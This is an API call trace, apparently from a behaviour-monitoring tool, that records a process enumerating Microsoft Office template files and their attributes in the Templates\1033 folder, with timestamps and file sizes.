	[0053.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\billingstatement.xltx"), fInfoLevelId=0x0, lpFileInformation=0x12849318 | out: lpFileInformation=0x12849318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x47c8)) returned 1
	[0053.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849368 | out: lpFileInformation=0x12849368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e2077f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5d23e5)) returned 1
	[0053.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128493b8 | out: lpFileInformation=0x128493b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e253ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5d2119)) returned 1
	[0053.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849408 | out: lpFileInformation=0x12849408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e2c5ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x96f4b3)) returned 1
	[0053.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849458 | out: lpFileInformation=0x12849458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e312190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x6724a3)) returned 1
	[0053.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blog.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128494a8 | out: lpFileInformation=0x128494a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494000, ftCreationTime.dwHighDateTime=0x1ca582b, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe494000, ftLastWriteTime.dwHighDateTime=0x1ca582b, nFileSizeHigh=0x0, nFileSizeLow=0x4352)) returned 1
	[0053.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\bloodpressuretracker.xltx"), fInfoLevelId=0x0, lpFileInformation=0x128494f8 | out: lpFileInformation=0x128494f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x72a6)) returned 1
	[0053.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\classicphotoalbum.potx"), fInfoLevelId=0x0, lpFileInformation=0x12849548 | out: lpFileInformation=0x12849548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb72000, ftCreationTime.dwHighDateTime=0x1c9d51e, ftLastAccessTime.dwLowDateTime=0xf5a1f3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6eb72000, ftLastWriteTime.dwHighDateTime=0x1c9d51e, nFileSizeHigh=0x0, nFileSizeLow=0x125418)) returned 1
	[0053.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\contemporaryphotoalbum.potx"), fInfoLevelId=0x0, lpFileInformation=0x12849598 | out: lpFileInformation=0x12849598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b535800, ftCreationTime.dwHighDateTime=0x1c9d51e, ftLastAccessTime.dwLowDateTime=0xf5a1f3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8b535800, ftLastWriteTime.dwHighDateTime=0x1c9d51e, nFileSizeHigh=0x0, nFileSizeLow=0x95482)) returned 1
	[0053.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128495e8 | out: lpFileInformation=0x128495e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x26022)) returned 1
	[0053.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergefax.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849638 | out: lpFileInformation=0x12849638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x145ba)) returned 1
	[0053.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergeletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849688 | out: lpFileInformation=0x12849688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x25ed3)) returned 1
	[0053.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128496d8 | out: lpFileInformation=0x128496d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1bec38)) returned 1
	[0053.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849728 | out: lpFileInformation=0x12849728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x45054)) returned 1
	[0053.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849778 | out: lpFileInformation=0x12849778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f0bf)) returned 1
	[0053.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialmergeletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128497c8 | out: lpFileInformation=0x128497c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1ea93)) returned 1
	[0053.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849818 | out: lpFileInformation=0x12849818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xbc195)) returned 1
	[0053.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849868 | out: lpFileInformation=0x12849868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x47014)) returned 1
	[0053.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128498b8 | out: lpFileInformation=0x128498b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x11d28)) returned 1
	[0053.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivemergeletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849908 | out: lpFileInformation=0x12849908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x12042)) returned 1
	[0053.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivenewsletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849958 | out: lpFileInformation=0x12849958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3d49a)) returned 1
	[0053.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivereport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128499a8 | out: lpFileInformation=0x128499a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xcb42a)) returned 1
	[0053.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128499f8 | out: lpFileInformation=0x128499f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1b00c)) returned 1
	[0053.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\expensereport.xltx"), fInfoLevelId=0x0, lpFileInformation=0x12849a48 | out: lpFileInformation=0x12849a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x4a4d)) returned 1
	[0053.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax"), fInfoLevelId=0x0, lpFileInformation=0x12849a98 | out: lpFileInformation=0x12849a98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.501] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.501] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityFax.Dotx", cAlternateFileName="EQUITY~1.DOT")) returned 1
	[0053.501] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x19972, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianFax.Dotx", cAlternateFileName="MEDIAN~1.DOT")) returned 1
	[0053.502] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1bbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielFax.Dotx", cAlternateFileName="ORIELF~1.DOT")) returned 1
	[0053.502] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x16d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginFax.Dotx", cAlternateFileName="ORIGIN~1.DOT")) returned 1
	[0053.502] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x13901, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanFax.Dotx", cAlternateFileName="URBANF~1.DOT")) returned 1
	[0053.502] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.502] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\equityfax.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849c78 | out: lpFileInformation=0x12849c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1443f)) returned 1
	[0053.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\medianfax.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849cc8 | out: lpFileInformation=0x12849cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x19972)) returned 1
	[0053.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\orielfax.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849d18 | out: lpFileInformation=0x12849d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1bbf2)) returned 1
	[0053.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\originfax.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849d68 | out: lpFileInformation=0x12849d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x16d67)) returned 1
	[0053.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\UrbanFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\urbanfax.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12849db8 | out: lpFileInformation=0x12849db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x13901)) returned 1
	[0053.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx"), fInfoLevelId=0x0, lpFileInformation=0x12849e08 | out: lpFileInformation=0x12849e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5d65210, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x1fa5cb9)) returned 1
	[0053.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx"), fInfoLevelId=0x0, lpFileInformation=0x12849e58 | out: lpFileInformation=0x12849e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba83800, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5b76030, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ba83800, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x10b563f)) returned 1
	[0053.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\loanamortization.xltx"), fInfoLevelId=0x0, lpFileInformation=0x12849ea8 | out: lpFileInformation=0x12849ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1)) returned 1
